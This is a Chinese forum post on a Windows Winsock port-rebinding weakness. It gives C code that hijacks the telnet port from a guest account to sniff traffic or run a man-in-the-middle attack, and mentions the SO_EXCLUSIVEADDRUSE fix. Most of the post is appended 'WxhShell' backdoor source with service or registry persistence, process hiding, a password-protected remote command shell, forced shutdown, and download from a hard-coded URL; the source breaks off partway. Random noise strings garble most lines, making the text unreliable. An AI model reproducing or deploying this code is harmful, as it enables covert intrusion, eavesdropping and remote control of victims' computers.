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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6`$HBX%.K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "0al"?  
G[7Z5)2B  
  saddr.sin_family = AF_INET; y#-mj,e  
OmO/x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9Yg=4>#$  
3=( Gb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (gd+-o4  
hVPSW# .d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uH'n.d"WG  
Vo*38c2  
  这意味着什么?意味着可以进行如下的攻击: ^^MVd@,i  
Lw EI   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 + D ,Nd=/  
Y0`=h"g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \%fl`+`  
gc|?$aE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4Eq$f (QJ  
|fYr*8rH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u;$g1 3  
$6~ J#;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y_qRW. k  
Kfho:e,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Dk$[b9b  
:_R[@?c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8 /3`rEW  
58FjzW  
  #include ~s_n\r&23  
  #include @"[xX}xK;  
  #include >cm*_26;I  
  #include    $ f`\TKlN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mx`C6G5  
  int main() 4c"x&x|  
  { h`X>b/V  
  WORD wVersionRequested; vMBF7Jfx  
  DWORD ret; ?2D1gjr  
  WSADATA wsaData; D@ :w/W  
  BOOL val; C(( 7  
  SOCKADDR_IN saddr; sB|>\O#-  
  SOCKADDR_IN scaddr; rVU::C+-  
  int err; wBr$3:  
  SOCKET s;  iC]=S}  
  SOCKET sc; FGzMbi<l#(  
  int caddsize; +S!gS|8P  
  HANDLE mt; >_9w4g_<  
  DWORD tid;   [d+f#\ut  
  wVersionRequested = MAKEWORD( 2, 2 ); -*;-T9  
  err = WSAStartup( wVersionRequested, &wsaData ); Oy>u/g~  
  if ( err != 0 ) { DQ'yFPE  
  printf("error!WSAStartup failed!\n"); &p>VTD  
  return -1; ~y@,d  
  } yQ5F'.m9e  
  saddr.sin_family = AF_INET; gJYB)LjH"  
   ;9w: %c1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UA@(D  
3<:(Eda}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wvH=4TT=w"  
  saddr.sin_port = htons(23); nt$V H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m0I/X$-Cl5  
  { \4;}S&`k  
  printf("error!socket failed!\n"); G$b*N4yR  
  return -1; l ;TWs_N  
  } MXy~kb&  
  val = TRUE; GjDs,9@f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sC ,[CN:b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =7&2-'(@  
  { w}*2Hz&Q!  
  printf("error!setsockopt failed!\n");  j6zZ! k  
  return -1; 1:2 t4}  
  } "AH1)skB:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |etA2"r&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i9KQpWG:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6I,^4U  
 U/v }4b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N_AAhD  
  { v(uYso_  
  ret=GetLastError(); 0Q\6GCzN\  
  printf("error!bind failed!\n"); \[m{&%^G  
  return -1; FdT@}  
  } $LxfdSa  
  listen(s,2); ;MD6iBD  
  while(1) GEJEhwO;H  
  { eBw6k09C+  
  caddsize = sizeof(scaddr); 9 gt$z}oU  
  //接受连接请求 ][Ne;F6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lFHj]%Y  
  if(sc!=INVALID_SOCKET) {rp5qgVE<  
  { :el]IH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {*EA5;  
  if(mt==NULL) # tN#_<W  
  { Q>`|{m  
  printf("Thread Creat Failed!\n"); 8t{-  
  break; 6pyLb3[e  
  } Q};g~b3  
  } u;{,,ct  
  CloseHandle(mt); .<GU2&;!  
  } sn.Xvk%75  
  closesocket(s); GwHp@_>  
  WSACleanup(); J|vriI;  
  return 0; Qyn~Vu43  
  }   7#\\Ava$T  
  DWORD WINAPI ClientThread(LPVOID lpParam) 51:NL[[6  
  { Dwvd  
  SOCKET ss = (SOCKET)lpParam; @qC](5|TQ  
  SOCKET sc; +mc0:e{WF  
  unsigned char buf[4096]; Tyc`U&  
  SOCKADDR_IN saddr; 5u(B]_r.  
  long num; MiB"CcU  
  DWORD val; |2oCEb1  
  DWORD ret; 3`V #ImV>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n*7Ytz3#'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @@&([f  
  saddr.sin_family = AF_INET; 5 iz(R:P<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r-Nv<oH;  
  saddr.sin_port = htons(23); $Tc"7nYu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @"B"*z-d  
  { GqYE=Q  
  printf("error!socket failed!\n"); "mBX$t'gb  
  return -1; }p2YRTHx  
  } Q/JX8<7K  
  val = 100; jHP6d =  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b+Ly%&  
  { DOk(5gR  
  ret = GetLastError(); O@$wU9 D<  
  return -1; I2U/ \  
  } \NIj&euF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ukZ>_ke`+  
  { @qszwQav$  
  ret = GetLastError(); v6Vd V.BI  
  return -1; 85QVj] nr  
  } m^6& !`CD  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -Fl;;jeX  
  { Bu:h_sV D  
  printf("error!socket connect failed!\n"); !!jitFHzb  
  closesocket(sc); /FP;Hsw%  
  closesocket(ss); O@[jNs)].  
  return -1; ( !K?^si  
  } **].d;~[l  
  while(1) YPq4VX,  
  { ~M>EB6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9|;"+jlt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J.R|Xd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k7R8Q~4  
  num = recv(ss,buf,4096,0); 9:JFG{M  
  if(num>0) fR:BF47  
  send(sc,buf,num,0); c^4^z"Mo`  
  else if(num==0) {giKC)!  
  break; ]8Eci^i  
  num = recv(sc,buf,4096,0); *5kQ6#l  
  if(num>0) U\crp T`  
  send(ss,buf,num,0); m!Iax]D{  
  else if(num==0) Aqc Cb[1r  
  break; ~v /NG  
  } J ejDF*Q  
  closesocket(ss); S:\a&+og  
  closesocket(sc); ]VYv>o`2  
  return 0 ; B4/0t:^I  
  } 7tEK&+H`  
%Ydzzr3  
c h_1 -  
========================================================== V_>)m3zsL  
\Mi] !b|8  
下边附上一个代码,,WXhSHELL nb -Je+  
d G}.T_l  
========================================================== Ps0 g  
/SXms'C  
#include "stdafx.h" tt|v opz  
B@:11,.7  
#include <stdio.h> r35'U#VMk?  
#include <string.h> UL46%MFQ\  
#include <windows.h> 500qg({2]  
#include <winsock2.h> 7]i=eD8  
#include <winsvc.h> GN7\p)  
#include <urlmon.h> yf KJpy  
d )}@0Q  
#pragma comment (lib, "Ws2_32.lib") IT.'`!T  
#pragma comment (lib, "urlmon.lib") [P,/J$v^~  
Cb{n4xKW6  
#define MAX_USER   100 // 最大客户端连接数 EB/.M+~a  
#define BUF_SOCK   200 // sock buffer ;AFF7N>&  
#define KEY_BUFF   255 // 输入 buffer U%Igj:%?;`  
z3RlD"F1  
#define REBOOT     0   // 重启 6{XdLI  
#define SHUTDOWN   1   // 关机 $'9b,- e  
*\UxdL 22  
#define DEF_PORT   5000 // 监听端口 dHcGe{T^(  
!A.Kb74  
#define REG_LEN     16   // 注册表键长度 ,P?R 3  
#define SVC_LEN     80   // NT服务名长度 {29x5J  
jq4'=L$4  
// 从dll定义API =<_ei|ME  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :6^8Q,C1@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~-"<)XPe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OMr&f8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NwK(<dzG  
R*C  
// wxhshell配置信息 1I'ep\`"X  
struct WSCFG { 2n9E:tc  
  int ws_port;         // 监听端口 .] S{T  
  char ws_passstr[REG_LEN]; // 口令 |_Y[93 1<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9Q!X~L|\S  
  char ws_regname[REG_LEN]; // 注册表键名 7R$]BY=  
  char ws_svcname[REG_LEN]; // 服务名 '' @upZBJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IT`r&;5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B!Ss 35<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \XG18V&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nFVQOr;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wYf9&}k\4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G1Qc\mp  
zLG5m]G4D  
}; x?ajTzMv  
'xO^2m+N;  
// default Wxhshell configuration =w~phn  
struct WSCFG wscfg={DEF_PORT, }v'jFIkhI  
    "xuhuanlingzhe", S?Y,sl+A:  
    1, PV2cZ/  
    "Wxhshell", |JpLMUG  
    "Wxhshell", cVzOW|NVx  
            "WxhShell Service", (_}w4N#  
    "Wrsky Windows CmdShell Service", #&Zb8HAj  
    "Please Input Your Password: ", u&iMY3=  
  1, EM_`` 0^  
  "http://www.wrsky.com/wxhshell.exe", zh hH A9  
  "Wxhshell.exe" YpFh_Zr[  
    }; 4XkSj9D~z  
IC-k  
// 消息定义模块 0NY2Kw;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W_zv"c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WQ\H 2go  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DR."C+  
char *msg_ws_ext="\n\rExit."; >*TFM[((Y)  
char *msg_ws_end="\n\rQuit."; vW\#2[j[  
char *msg_ws_boot="\n\rReboot..."; e ;4y5i  
char *msg_ws_poff="\n\rShutdown..."; *wml 4lh  
char *msg_ws_down="\n\rSave to "; (6C%w)8'  
axTvA(k9  
char *msg_ws_err="\n\rErr!"; k+^-;=u 6<  
char *msg_ws_ok="\n\rOK!"; p;S<WJv k  
C~4$A/&(  
char ExeFile[MAX_PATH]; 0Ywqv)gg  
int nUser = 0; cLN(yL  
HANDLE handles[MAX_USER]; 0@R @L}m  
int OsIsNt; q4XS E,  
: "[dr~.  
SERVICE_STATUS       serviceStatus; @"jV^2oY1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $<)k-Cf  
f IUz%YFn  
// 函数声明 #,dE)  
int Install(void); qTA@0fL  
int Uninstall(void); Ea%} VZ&[  
int DownloadFile(char *sURL, SOCKET wsh); IxY%d}[uo  
int Boot(int flag); Z/ "jLfP  
void HideProc(void); *@'\4OO  
int GetOsVer(void); MQR@(>TZy  
int Wxhshell(SOCKET wsl); \Rc7$bS2H  
void TalkWithClient(void *cs); VP4W~;UV|\  
int CmdShell(SOCKET sock); hWGCYkuW  
int StartFromService(void); ,UFr??ZKm  
int StartWxhshell(LPSTR lpCmdLine); ^L&hwXAO:  
Y4PB&pZ$O2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iJg3`1@j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]M|Iy~ X   
+jcg[|-' /  
// 数据结构和表定义 ,+0>p  
SERVICE_TABLE_ENTRY DispatchTable[] = 9JHu{r"M  
{ 6?U2Et  
{wscfg.ws_svcname, NTServiceMain}, .P[ %t=W  
{NULL, NULL} "{0 o"k  
}; p[*NekE6-  
+tz^ &(  
// 自我安装 0&1!9-(d  
int Install(void) lNSB "S  
{ hP4*S^l  
  char svExeFile[MAX_PATH]; G]fl33_}l  
  HKEY key; lx<]v^  
  strcpy(svExeFile,ExeFile); Re <G#*^  
M[ea!an  
// 如果是win9x系统,修改注册表设为自启动  *$nz<?  
if(!OsIsNt) { f#:7$:{F1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g;U f?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L0{ehpvM  
  RegCloseKey(key); B]K@'#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }e/P|7&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'l$<DcBj  
  RegCloseKey(key); Ak!l}d  
  return 0; A &i  
    } Z9rs,_A  
  } vb{+yEa  
} _ i )Z8#  
else { ,Yg<Z1  
pIh%5Z U  
// 如果是NT以上系统,安装为系统服务 uy~KJn?Tu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [@@Ovv  
if (schSCManager!=0) *yGOm i  
{ >r7{e:~q  
  SC_HANDLE schService = CreateService $wa )e  
  ( K[ZgT$zZ  
  schSCManager, iw|6w,-)C  
  wscfg.ws_svcname, pQaP9Y{OK  
  wscfg.ws_svcdisp, i)V-q9\  
  SERVICE_ALL_ACCESS, PgZ~of&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U!sv6=(y@  
  SERVICE_AUTO_START, 1]r+$L3  
  SERVICE_ERROR_NORMAL, irNGURLm  
  svExeFile, QE7 r{  
  NULL, G`NH ~C  
  NULL, ^a@Vn\V1  
  NULL, a_5`9BL  
  NULL, Pm]6E[zC  
  NULL C% <[mM  
  ); !*wK4UcX"  
  if (schService!=0) iG*3S)  
  { %J\1W"I?  
  CloseServiceHandle(schService); KOWxP47b  
  CloseServiceHandle(schSCManager); rt5UT~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IAbK]kA  
  strcat(svExeFile,wscfg.ws_svcname); &$fe%1#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AF5.gk=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KYY~ YP  
  RegCloseKey(key); u]P0:)tS.  
  return 0; vkan+~H  
    } kStWsc$;+T  
  } Y418k  
  CloseServiceHandle(schSCManager); <{.o+~k  
} W`] ,  
} F9]j{'#  
GYot5iLg  
return 1; +x$;T*0  
} JZ&]"12]fR  
6.|f iQs ]  
// 自我卸载 krm&.J  
int Uninstall(void) Nko;I?Fn  
{ H@er"boi  
  HKEY key; Owalt4}C  
[vpZ3;  
if(!OsIsNt) { LR D71*/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u2'xM0nQ  
  RegDeleteValue(key,wscfg.ws_regname); =vBxwa^  
  RegCloseKey(key); ?lCKZm.,(-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;<%~g8:XL  
  RegDeleteValue(key,wscfg.ws_regname); $(_Xt-6  
  RegCloseKey(key); 4O[T:9mn0  
  return 0; 5nzk Zw  
  } "2(4?P  
} yB(^t`)}N  
} waXA%u50  
else { KcP86H52I  
/AWV@ '  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }NDw3{zn  
if (schSCManager!=0) @Y*ONnl  
{ t)XNS!6#]?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t#oJr2  
  if (schService!=0) "y/GK1C  
  { R@t?!`f!+  
  if(DeleteService(schService)!=0) { 6Km@A M]  
  CloseServiceHandle(schService); ]1rr$f9  
  CloseServiceHandle(schSCManager); T<~NB5&f  
  return 0; 71nXROB  
  } z^S=ji U++  
  CloseServiceHandle(schService); | "DQ^)3Pi  
  } QNzI  
  CloseServiceHandle(schSCManager); l,HMm|oU  
} |#$Wh+,*  
} ^.Vq0Qzy]  
f$9V_j-K+  
return 1; i3s-l8\\z  
} V[Fzh\2n  
>Rs:Fw|jro  
// 从指定url下载文件 &%L1n?>Q}  
int DownloadFile(char *sURL, SOCKET wsh) #A@*k}/+  
{ #rqLuqw  
  HRESULT hr; n  !]_o  
char seps[]= "/"; yb56nd  
char *token; )nJs9}( 0  
char *file; bcC ;i~9  
char myURL[MAX_PATH]; K+TRt"W8&s  
char myFILE[MAX_PATH]; mu04TPj  
$0V<wsVM  
strcpy(myURL,sURL); z%(m:/N70  
  token=strtok(myURL,seps); 8-UlbO6  
  while(token!=NULL) X0+$pJ60  
  { f"q='B9_T\  
    file=token; 7NV1w*> /  
  token=strtok(NULL,seps); m^@,0\F  
  } L0Bcx|)"$`  
EyA}  
GetCurrentDirectory(MAX_PATH,myFILE); !"j?dQ.U;  
strcat(myFILE, "\\"); yNi/JM  
strcat(myFILE, file); ,]\L\ V  
  send(wsh,myFILE,strlen(myFILE),0); $(K[W}  
send(wsh,"...",3,0); lX/s Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uV`r_P  
  if(hr==S_OK) DXl3  
return 0; w,> ceu/  
else ({i}EC7{  
return 1; wP8Wx~Q=  
|jH- bm  
} A}?n.MAX>  
n=WwB(}q  
// 系统电源模块 Xd@  -  
int Boot(int flag) W0J d2*]  
{ /J )MW{;O  
  HANDLE hToken; =v]\{ .  
  TOKEN_PRIVILEGES tkp; l8 k@.<nCO  
rrbD0UzFA  
  if(OsIsNt) { P~`gWGC}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xCGa3X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UJMM&  
    tkp.PrivilegeCount = 1; m1H_kJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I},.U&r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8Q ba4kgL  
if(flag==REBOOT) { EKo!vie G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L"{qF<@V7&  
  return 0; q{~59{Fha  
} FFX-kS  
else {  BC*62m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kqy d3Si>  
  return 0; {2l35K=  
} 2*;qr|h,  
  } UtPFkase  
  else { >L[n4x\  
if(flag==REBOOT) { ._'AJhU$0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N$]B$vv  
  return 0; 1oU/gm$7\q  
} (:Di/{i&r5  
else { G#yv$LY#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *g7BR`Bt]z  
  return 0; !2L?8oP-z  
} -wn ,7;  
} w]L^)_'Th  
ayF+2(vch)  
return 1; `%S 35x9  
} x6yYx_  
En!X}Owh  
// win9x进程隐藏模块 E$O-\)wY0  
void HideProc(void) #<h//<  
{ >u?m Bx  
5<64 C}fE3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xf2|9Tqt  
  if ( hKernel != NULL ) .cks ){\  
  { Cp"a,%b6u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b5i ehoA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y#e,NN  
    FreeLibrary(hKernel); ;Aqj$ x  
  } tKS'#y!R  
#hMS?F|  
return; *Wj]e%  
} a gk w)#  
I9  (6  
// 获取操作系统版本 i,V,0{$  
int GetOsVer(void) E P3Vz8^  
{ s5s'[<  
  OSVERSIONINFO winfo; hs^K9Jt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i0}f@pCB?X  
  GetVersionEx(&winfo); sP:nTpTsC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OsT|MX  
  return 1; mNA=<O;i)'  
  else { )g $  
  return 0; ,A%p9  
} ,ZV>"'I:  
Z ".Xroq~  
// 客户端句柄模块 WAt= T3  
int Wxhshell(SOCKET wsl) 3N[Rrxe2  
{ kqkTz_r|H  
  SOCKET wsh; [$X^r<|P@  
  struct sockaddr_in client; ;rRV=$y  
  DWORD myID; zC,c9b  
xyD2<?dGUb  
  while(nUser<MAX_USER) ^UCH+C yl  
{ fc&djd`FuX  
  int nSize=sizeof(client); m'zve%G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^c<8|lK L@  
  if(wsh==INVALID_SOCKET) return 1; nIr:a|}[  
,njlKkFw^Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9OYyR  
if(handles[nUser]==0) eo*l^7  
  closesocket(wsh); 72CHyl`|l  
else ?$K.*])e  
  nUser++; b>2{F6F  
  } ZkJLq[:cM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VqUCcT  
"Zfm4Nx "  
  return 0; 1xEFMHjy  
} GT7&>}FJ)  
&\=Tm~  
// 关闭 socket U8.V Rn  
void CloseIt(SOCKET wsh) 7`j%5%q  
{ #w3J+U 6r  
closesocket(wsh); < 1%}8t"  
nUser--; !r8_'K5R(  
ExitThread(0); f(G1xw]]@Y  
} c@2a)S8Y]  
G@KDRv  
// 客户端请求句柄 TSD7R  
void TalkWithClient(void *cs) 8@[S,[  
{ 9 JhCSw-<)  
u`ry CZo#g  
  SOCKET wsh=(SOCKET)cs; PJ)l{c  
  char pwd[SVC_LEN]; ur.krsU  
  char cmd[KEY_BUFF]; 78\j  
char chr[1]; +[R^ ?~VK  
int i,j; O{EPq' x  
hVz] wKP  
  while (nUser < MAX_USER) { "O'c.v?{x  
@j!(at4B  
if(wscfg.ws_passstr) { ,CI-IR2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Ze(WE)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LZb<-vK"y  
  //ZeroMemory(pwd,KEY_BUFF); 3%+!qm  
      i=0; nE +H)%p  
  while(i<SVC_LEN) { H| _@9V  
5E]iv^q%  
  // 设置超时 p+8o'dl8=  
  fd_set FdRead; IG{ lr  
  struct timeval TimeOut; 'A>?aUq]:  
  FD_ZERO(&FdRead); DZ @B9<Zz{  
  FD_SET(wsh,&FdRead); dk^jv +  
  TimeOut.tv_sec=8; ] s^7c  
  TimeOut.tv_usec=0; 9%Tqk"x?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zs]n0iwM'@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {sf ,(.W  
b*Q3j}cZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $/lM %yXe  
  pwd=chr[0]; D;s%cL`  
  if(chr[0]==0xd || chr[0]==0xa) { `#' j3,\6  
  pwd=0; wAw1K2d  
  break; .'&pw }F  
  } {?Nm"#  
  i++; }`2a>N: &  
    } Z;V(YK(WO.  
{_-T!yb  
  // 如果是非法用户,关闭 socket ">G*hS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _|4R^*/ 4  
} /@|iI<|  
UWnF2,<s;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /7])]vZ_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M(nzJ  
 ?HRS*  
while(1) { "-djA,`  
Pro?xY$E)  
  ZeroMemory(cmd,KEY_BUFF); <5D4h!  
*RxJ8.G  
      // 自动支持客户端 telnet标准   1a/C(4 _k  
  j=0; KJV8y"^=Q  
  while(j<KEY_BUFF) { tT!' qL.*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bZ1*:k2  
  cmd[j]=chr[0]; "0uM%*2  
  if(chr[0]==0xa || chr[0]==0xd) { .;Mb4"7=  
  cmd[j]=0; tewp-M KA  
  break; xxyc^\$  
  } $cK}Tl q  
  j++; A yr ,  
    } p3Qls*  
&ocuZ -5`  
  // 下载文件 L {P'mG=4  
  if(strstr(cmd,"http://")) { S't9F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c+&Kq.~K  
  if(DownloadFile(cmd,wsh)) ?$K-f:?c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V]; i$  
  else ~Ni  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z]r'8Jc  
  } kmc_%Wm}  
  else { u 3#+fn_  
\#(1IC`as  
    switch(cmd[0]) { SGSyO0O  
  0uIY6e0E  
  // 帮助 AwXzI;F^  
  case '?': { L'r&'y[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z?<B@\~  
    break; {j9TzR  
  } sWo}Xq#  
  // 安装 < #ON  
  case 'i': { ;YR /7  
    if(Install()) ij!d-eM/b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '=vZAV`  
    else ?5J# yn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { PX&#,_  
    break; J/'Fj?  
    } g kO^J{_@q  
  // 卸载 }< H>9iJ:  
  case 'r': { jQ;/=9  
    if(Uninstall()) -'g> i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e)wi}\:q_  
    else _$96y]Bpi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ed`"xm  
    break; PkrVQH9^w  
    } 9:4S[mz/hD  
  // 显示 wxhshell 所在路径 w.w{L=p:<"  
  case 'p': { F$)l8}  
    char svExeFile[MAX_PATH]; 2PYnzAsl  
    strcpy(svExeFile,"\n\r"); ;O% H]oN  
      strcat(svExeFile,ExeFile); 5PO_qr= Hx  
        send(wsh,svExeFile,strlen(svExeFile),0); JyZuj>` 6  
    break; tO{{ci$-T  
    } !h4T3sO  
  // 重启 : c~SH/qS  
  case 'b': { 4WvW11q8U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T/g\v?>  
    if(Boot(REBOOT)) Tk?uJIS :  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s-#EV  
    else { c 9f"5~  
    closesocket(wsh); GZ~Tl0U  
    ExitThread(0); sko7,&  
    } a$|U4Eqo  
    break; GMJ4v S  
    } ):'wxIVGI  
  // 关机 .qSDe+A  
  case 'd': { KE3`5Y!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u-t=M]  
